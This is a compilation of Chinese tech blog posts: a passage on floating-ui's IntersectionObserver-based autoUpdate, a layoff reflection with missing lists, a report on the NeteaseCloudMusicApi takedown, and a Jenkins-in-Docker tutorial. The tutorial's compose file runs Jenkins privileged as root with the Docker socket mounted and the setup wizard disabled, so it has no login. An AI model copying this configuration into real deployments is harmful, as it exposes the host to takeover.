       // threshold 用来表示元素在视窗中显示的交叉比例显示

       // 设置的是 0 即表示元素完全移出视窗，1 或者完全进入视窗时触发回调

       // 0表示元素本身在视口中的占比0%, 1表示元素本身在视口中的占比为100%

       // 0.1表示元素本身在视口中的占比1%,0.9表示元素本身在视口中的占比为90%

        threshold: [0, 1, 0.1, 0.9]

      });

这样就可以在元素快要移出屏幕，或者移入屏幕时触发回调了，但是这样会有一个问题

当弹窗移出屏幕时，可以很轻松的监听到，并把弹窗移动到下方，但是当弹窗滚入的时候就有问题了

可以看到完全进入之后，这个时候由于顶部空间不够，还需要继续往下滚才能将弹窗由底部移动到顶部。但是已经无法再触发 IntersectionObserver 和视口交叉的回调事件了，因为元素已经完全在视窗内了。
也就是说用这种方案，元素一旦滚出去之后，再回来的时候就无法复原了。

3. 把问题抛给别人

既然自己很难解决，那就看看别人是怎么解决这个问题的吧，我直接上 饿了么UI 上看看它的弹窗组件是怎么做的，于是我找到了 floating-ui 也就是原来的 popper.js 现在改名字了。

在文档中，我找到自动更新这块，也就是 floating-ui 通过监听器来实现自动更新弹窗位置。
到这里就可以看看 floating-ui 的源码了。

import {autoUpdate} from '@floating-ui/dom';

可以看到这个方法是放在 'floating-ui/dom'下面的

github.com/floating-ui…
于是进入 floating-ui 的 github 地址，找到 packages 下 dom 下的 src 目录下，就可以看到想要的 autoUpdate.ts 了。

4. 天才的想法

抛去其它不重要的东西，实现自动更新主要就是其中的 refresh 方法，先看一下代码

function refresh(skip = false, threshold = 1) {

	// 清理操作，清理上一次定时器和监听

	cleanup();



	// 获取元素的位置和尺寸信息

	const {

		left,

		top,

		width,

		height

	} = element.getBoundingClientRect();

        

        if (!skip) {

          // 这里更新弹窗的位置

          onMove();

        }

        

	// 如果元素的宽度或高度不存在，则直接返回

	if (!width || !height) {

		return;

	}



	// 计算元素相对于视口四个方向的偏移量

	const insetTop = Math.floor(top);

	const insetRight = Math.floor(root.clientWidth - (left + width));

	const insetBottom = Math.floor(root.clientHeight - (top + height));

	const insetLeft = Math.floor(left);

        // 这里就是元素的位置

	const rootMargin = `${-insetTop}px ${-insetRight}px ${-insetBottom}px ${-insetLeft}px`;



	// 定义 IntersectionObserver 的选项

	const options = {

		rootMargin,

		threshold: Math.max(0, Math.min(1, threshold)) || 1,

	};



	let isFirstUpdate = true;



	// 处理 IntersectionObserver 的观察结果

	function handleObserve(entries) {

                // 这里事件会把元素和视口交叉的比例返回

		const ratio = entries[0].intersectionRatio;

        // 判断新的视口比例和老的是否一致，如果一致说明没有变化

		if (ratio !== threshold) {

			if (!isFirstUpdate) {

				return refresh();

			}



			if (!ratio) {

                    // 即元素完全不可见时，也就是ratio = 0时，代码设置了一个定时器。

                    // 这个定时器的作用是在短暂的延迟（100毫秒）后，再次调用 `refresh` 函数，

                    // 这次传递一个非常小的阈值 `1e-7`。这样可以在元素完全不可见时，保证重新触发监听

				timeoutId = setTimeout(() => {

					refresh(false, 1e-7);

				}, 100);

			} else {

				refresh(false, ratio);

			}

		}



		isFirstUpdate = false;

	}



	// 创建 IntersectionObserver 对象并开始观察元素

        io = new IntersectionObserver(handleObserve, options);

        // 监听元素

	io.observe(element);

}



refresh(true);

可以发现代码其实不复杂，但是其中最重要的有几个点，我详细介绍一下

4.1 rootMargin

最重要的其实就是 rootMargin, rootMargin到底是做啥用的呢？

我上面说了 IntersectionObserver 是 监测目标元素与视窗(viewport)的交叉状态，而这个 rootMargin 就是可以将这个视窗缩小。

比如我设置 rootMargin 为 "-50px -30px -20px -30px"，注意这里 rootMargin 和 margin 类似，都是按照 上 右 下 左 来设置的

可以看到这样，当元素距离顶部 50px 就触发了事件。而不必等到元素完全滚动到视口。

既然这样，当我设置 rootMargin 就是该元素本身的位置，不就可以实现只要元素一滚动，就触发事件了吗？

4.2 循环监听事件

仅仅将视口缩小到该元素本身的位置还是不够，因为只要一滚动，元素的位置就发生了改变，即视口的位置也需要跟随着元素的位置变化进行变化

if (ratio !== threshold) {

        if (!isFirstUpdate) {

           return refresh();

        }

        if (!ratio) {

            // 即元素完全不可见时，也就是ratio = 0时，代码设置了一个定时器。

            // 这个定时器的作用是在短暂的延迟（100毫秒）后，再次调用 `refresh` 函数，

            // 这次传递一个非常小的阈值 `1e-7`。这样可以在元素在视口不可见时，保证可以重新触发监听

            timeoutId = setTimeout(() => {

                    refresh(false, 1e-7);

            }, 100);

        } else {

                refresh(false, ratio);

        }

}

也就是这里,可以看到每一次元素距离视口的比例变化后，都重新调用了 refresh 方法，根据当前元素和屏幕的新的距离，创建一个新的监听器。

这样的话也就实现了类似 scroll 的效果，通过不断变化的视口来确认元素的位置是否发生了变化。

5. 结语

所以说有时候思路还是没有打开，刚看到这个实现思路确实惊到我了，没有想到借助 rootMargin 可以实现类似 scroll 监听的效果。很多时候得多看看别人的实现思路，学习学习大牛写的代码和实现方式，对自己实现类似的效果相当有帮助

floating-ui

被裁员

先说下本人情况，38，坐标杭州，具备后端架构和大数据架构能力。待过大厂，带过团队，落地过大型项目。

近几年被裁员也不算什么稀奇古怪的事情，我记得2022年下半年面试那会行情远比现在好，那会还会有猎头、企业主动找，我2022年的工作就是猎头推进去的。

然而公司运营不善，2023年底裁撤了，因为融资问题，被迫出局。

本想着年后再看工作，也想休息一段时间，于是年前就没理工作这个事。

狗不理

因为信息差，也可能因为行业这种趋势本身就是没法感知的，年后投简历发现了几个情况：

一些感悟

面对这种突如其来的颠覆认知的行情，我有点措手不及，没预想自己可能就此失业了。现在的世界变化太快了，也可能我待在舒适区太久了，根本对外部世界的变化钝感迟缓。

我也没去问招聘方是什么原因，本身就个人从业经历和技能能来说，自认为还OK，但是问人家也未必会告诉你实话，在这个存量市场，势必是僧多肉少，刺刀见红，现实残酷，朝不保夕。

但是反思下十几年的职场生涯，其实多多少少还是有个人原因的，总结出来，留给后来人吧：

个人期望

最后说点自己的个人期望和未深思的规划：
1、后面还是要自己单干的，可以是独立开发、或者其他。
2、还是会热爱技术，即使如果干不了这行了，也会把它当做一个兴趣培养。

这是开源圈不久前发生的一件事情。

不知道大家有没有听说过NeteaseCloudMusicApi这个项目，从项目名字大家也能猜出，这是一个和网易云音乐API有关的开源项目。

该项目之前由开发者Binaryify所打造，是网易云音乐API的一个非官方封装库。

该项目采用Node.js编写，可以实现非官方的网易云音乐API调用，从而可以让其他开发者可以基于该项目来获取网易云音乐平台上的一些歌曲、歌单、歌词、专辑、电台等信息，方便开发者构建基于网易云音乐服务的应用程序。

这个项目曾经在GitHub上非常火热，也因此一度获得了超过3.0w的Star标星，以及1.5w+的Fork。

不过就在最近，该项目的作者彻底清零了这个项目，包括其所有的代码、文档，以及commit提交信息，并在项目的主页README中更新了动态：

保护版权，此仓库不再维护

原因很简单，原来是作者收到了来自网易云音乐官方发送的法务通知函。

网易云音乐声明该项目侵犯了其公司的相关版权，并且要求开发者立即下线该项目中盗链网易云音乐的方法及内容。

具体的通知如下：

网易云音乐由杭州网易云音乐有限公司独立开发运营，网易云音乐作为国内知名的在线音乐平台，致力于为用户提供优质的音乐内容服务，我司以高额的成本采购了海量音乐作品的内容，在未我司合法授权的任何第三方均没有权利播放由我司享有版权的音乐作品，我司有权以自己的名义或授权第三方进行维权。

我司收到用户的举报，您开发的 NeteaseCloudMusicApi 或存在涉嫌通过非法破解网易云音乐内容接口的方式获取网易云音乐享有版权的歌曲内容。

贵司未经我司授权，通过技术手段破解绕开限制直接提供网易云音乐享有版权的音乐作品内容，该行为不仅侵犯了我司享有的音乐作品版权，亦非法攫取了网易云音乐的用户流量构成不正当竞争，损害了我司作为权利人的合法权益。

同时贵方通过非法技术手段破解网站获取大量歌曲内容的行为，涉嫌构成侵犯著作权罪，破坏 / 非法入侵计算机信息系统罪及 / 或提供破坏 / 非法入侵计算机信息系统工具罪。

针对上述侵权行为，根据中华人民共和国《著作权法》、《刑法》等相关法律法规规定，我司现郑重致函：

1、立即下线 NeteaseCloudMusicApi 上盗链网易云音乐的方法及内容；

2、在未获得我方授权的前提下，停止一切侵犯我司合法权益的行为。

请贵方充分认识到该行为的违法性和严重性，按照本函要求立即处理侵权行为，并将处理结果及时告知我方。若贵方怠于履行该项义务，为维护自身合法权益，我司将采取包括诉讼、投诉、举报等在内的一切必要的法律措施确保合法权利得到有效保护。

从这个项目的维护历史可以看出，曾经作者对于该项目还是花了不少心血的，包括维护的活跃度以及项目文档这块，都做了不少工作。

而且也有不少开发者来基于该项目进行二开，从而实现开发者自己的不同想法和需求。

然而面对这样一封告知函，项目作者也不得不做出清空仓库并将其进行永久归档的处理，毕竟这类项目确实存在版权方面的问题。

而尊重版权和合规开源也确实是每一位开源作者的基本职责。

其实像这类项目在GitHub上还是有不少的，在之前官方没有明确追责的情况下，其实大家对于一些非盈利性的小众开源项目基本也会睁一只眼闭一只眼，但是官方一旦追责起来，这类项目生存的概率就微乎其微了。

所以这件事也提醒我们，后续大家如果要经营和维护自己的开源项目，也是要多关注和留意一下版权方面的问题，从而避免后续可能会出现的一些不必要的麻烦。

作者：小傅哥
博客：bugstack.cn
项目：gaga.plus

沉淀、分享、成长，让自己和他人都能有所收获！😄

本文的宗旨在于通过简单干净实践的方式教会读者，如何在 Docker 中部署 Jenkins，并通过 Jenkins 完成对项目的打包构建并在 Docker 容器中部署。

Jenkins 的主要作用是帮助你，把需要在本地机器完成的 Maven 构建、Docker 镜像发布、云服务器部署等系列动作全部集成在一个服务下。简化你的构建部署操作过程，因为 Jenkins 也被称为 CI&CD(持续集成&持续部署) 工具。提供超过 1000 个插件(Maven、Git、NodeJs)来支持构建、部署、自动化， 满足任何项目的需要。

官网：

• 英文：http://www.jenkins.io/


• 中文：http://www.jenkins.io/zh/

本文涉及的工程：

• xfg-dev-tech-jenkins：gitcode.net/KnowledgePl…


• 提示：
  
  
  
  • 推荐使用云服务器做本节的案例 5.5元/1个月，50元/1年
  
  
  • 本节会需要用到的环境 Docker&Portainer
  
  
  
  

一、操作说明

本节小傅哥会带着大家完成 Jenkins 环境的安装，以及以最简单的方式配置使用 Jenkins 完成对 xfg-dev-tech-jenkins 案例项目的部署。部署后可以访问 xfg-dev-tech-jenkins 项目提供的接口进行功能验证。整个部署操作流程如下；

• 左侧竖列为核心配置部署流程，右侧是需要在配置过程中处理的细节。


• 通过把本地对项目打包部署的过程拆解为一个个模块，配置到 Jenkins 环境中。这就是 Jenkins 的作用。

二、环境配置

1. Jenkins 部署

1.1 上传文件

• 如图；以上配置内容已经放到 xfg-dev-tech-jenkins 工程中，如果你是云服务器部署则需要将 dev-ops 部分全部上传到服务器的根目录下。


• compose-down.sh 是 docker-compose 下载文件，只有你安装了 docker-compose 才能执行 docker-compose -f docker-compose-v1.0.yml up -d


• jdk-down.sh 是 jdk1.8 下载路径，以及解压脚本。如果你在云服务器下载较慢，也可以本地搜索 jdk1.8 下载，并上传到云服务器上解压。注意：本步骤是可选的，如果你的项目不强依赖于 jdk1.8 也可以使用 Jenkins 默认自带的 JDK17。可以通过在安装后的 Jenkins 控制台执行 which java 找到 JDK 路径。


• maven 下的 settings.xml 配置，默认配置了阿里云镜像文件，方便在 Jenkins 构建项目时，可以快速地拉取下载下来包。

1.2 脚本说明

version: '3.8'

# 执行脚本；docker-compose -f docker-compose-v1.0.yml up -d

services:

  jenkins:

    image: jenkins/jenkins:2.439

    container_name: jenkins

    privileged: true

    user: root

    ports:

      - "9090:8080"

      - "50001:50000"

    volumes:

      - ./jenkins_home:/var/jenkins_home # 如果不配置到云服务器路径下，则可以配置 jenkins_home 会创建一个数据卷使用

      - /var/run/docker.sock:/var/run/docker.sock

      - /usr/bin/docker:/usr/local/bin/docker

      - ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml # 这里只提供了 maven 的 settings.xml 主要用于修改 maven 的镜像地址

      - ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 # 提供了 jdk1.8，如果你需要其他版本也可以配置使用。

    environment:

      - JAVA_OPTS=-Djenkins.install.runSetupWizard=false # 禁止安装向导「如果需要密码则不要配置」docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword

    restart: unless-stopped



volumes:

  jenkins_home:

Jenkins Docker 执行安装脚本。

• ./jenkins_home:/var/jenkins_home 是在云服务器端挂一个映射路径，方便可以重新安装后 Jenkins 依然存在。你也可以配置为 jenkins_home:/var/jenkins_home 这样是自动挂在 volumes jenkins_home 数据卷下。


• docker 两个 docker 的配置是为了可以在 Jenkins 中使用 Docker 命令，这样才能在 Docker 安装的 Jenkins 容器内，使用 Docker 服务。


• ./maven/conf/settings.xml:/usr/local/maven/conf/settings.xml 为了在 Jenkins 中使用映射的 Maven 配置。


• ./jdk/jdk1.8.0_202:/usr/local/jdk1.8.0_202 用于在 Jenkins 中使用 jdk1.8


• JAVA_OPTS=-Djenkins.install.runSetupWizard=false 这个是一个禁止安装向导，配置为 false 后，则 Jenkins 不会让你设置密码，也不会一开始就安装一堆插件。如果你需要安装向导可以注释掉这个配置。并且当提示你获取密码时，你可以执行；docker exec jenkins cat /var/jenkins_home/secrets/initialAdminPassword 获取到登录密码。

1.3 执行安装

[root@lavm-aqhgp9nber dev-ops]# docker-compose -f docker-compose-v1.0.yml up -d

[+] Building 0.0s (0/0)                                                                                                       

[+] Running 1/0

 ✔ Container jenkins  Running 

执行脚本 docker-compose -f docker-compose-v1.0.yml up -d 后，这样执行完毕后，则表明已经安装成功了💐。

2. 插件安装

地址：http://localhost:9090/ - 登录Jenkins

• 1~2步，设置镜像源，设置后重启一下 Jenkins。


• 3~4步，下载插件，先下载安装 chinese 汉化插件，方便不太熟悉 Jenkins 的伙伴更好的知道页面都是啥内容。


• 5步，所有的插件安装完成后，都需要重启才会生效。安装完 chinese 插件，重启在进入到 Jenkins 就是汉化的页面了


• 除了以上步骤，你还需要同样的方式安装 maven、git、docker 插件。


• 注意，因为网络问题你可以再做过程中，提示失败。没关系，你可以再搜这个插件，再重新下载。它会把失败的继续下载。

3. 全局工具配置

地址：http://localhost:9090/manage/configureTools/

用于构建部署的 SpringBoot 应用的环境，都需要在全局工具中配置好。包括；Maven、JDK、Git、Docker。注意这里的环境路径配置，如果配置了是会提示你没有对应的路径文件夹。

4. 添加凭证

地址：http://localhost:9090/manage/credentials/store/system/domain/_/

• 配置了Git仓库的连接凭证，才能从Git仓库拉取代码。


• 如果你还需要操作如 ssh 也需要配置凭证。

三、新建任务

一个任务就是一条构建发布部署项目的操作。

1. 配置任务

xfg-dev-tech-jenkins

2. 配置Git

# 你可以 fork 这个项目，到自己的仓库进行使用

https://gitcode.net/KnowledgePlanet/ddd-scene-solution/xfg-dev-tech-content-moderation.git

3. 配置Maven

• 在高级中设置 Maven 配置的路径 /usr/local/maven/conf/settings.xml。这样才能走自己配置的阿里云镜像仓库。

clean install -Dmaven.test.skip=true

3. 配置Shell

# 先删除之前的容器和镜像文件

if [ "$(docker ps -a | grep xfg-dev-tech-app)" ]; then

docker stop xfg-dev-tech-app

docker rm xfg-dev-tech-app

fi

if [ "$(docker images -q xfg-dev-tech-app)" ]; then

docker rmi xfg-dev-tech-app

fi



# 重新生成

cd /var/jenkins_home/workspace/xfg-dev-tech-jenkins/xfg-dev-tech-app

docker build -t xiaofuge/xfg-dev-tech-app .

docker run -itd -p 8091:8091 --name xfg-dev-tech-app xiaofuge/xfg-dev-tech-app

• 当你熟悉后还可以活学活用，比如这里只是做build 但不做run执行操作。具体的部署可以通过 docker compose 执行部署脚本。


• 另外如果你有发布镜像的诉求，也可以在这里操作。

四、测试验证

1. 工程准备

工程：https://gitcode.net/KnowledgePlanet/road-map/xfg-dev-tech-jenkins 你可以fork到自己的仓库进行使用，你的账号密码就是 CSDN 的账号密码。

@SpringBootApplication

@RestController()

@RequestMapping("/api/")

public class Application {



    public static void main(String[] args) {

        SpringApplication.run(Application.class);

    }



    /**

     * http://localhost:8091/api/test

     */

    @RequestMapping(value = "/test", method = RequestMethod.GET)

    public ResponseBodyEmitter test(HttpServletResponse response) {

        response.setContentType("text/event-stream");

        response.setCharacterEncoding("UTF-8");

        response.setHeader("Cache-Control", "no-cache");



        ResponseBodyEmitter emitter = new ResponseBodyEmitter();



        String[] words = new String[]{"嗨，臭宝。\r\n", "恭喜💐 ", "你的", " Jenkins ", " 部", "署", "测", "试", "成", "功", "了啦🌶！"};

        new Thread(() -> {

            for (String word : words) {

                try {

                    emitter.send(word);

                    Thread.sleep(250);

                } catch (IOException | InterruptedException e) {

                    throw new RuntimeException(e);

                }

            }

        }).start();



        return emitter;

    }

    

}

• 工程中提供了接口；http://localhost:8091/api/test

2. CI&CD - 构建发布

地址：http://localhost:9090/job/xfg-dev-tech-jenkins/

• 点击构建项目，最终会完成构建和部署成功。运行到这代表你全部操作完成了。

3. 验证结果

地址：http://localhost:9000/#!/2/docker/containers

访问：http://localhost:8091/api/test

• 运行到这代表着你已经完整的走完了 Jenkins CI&CD 流程。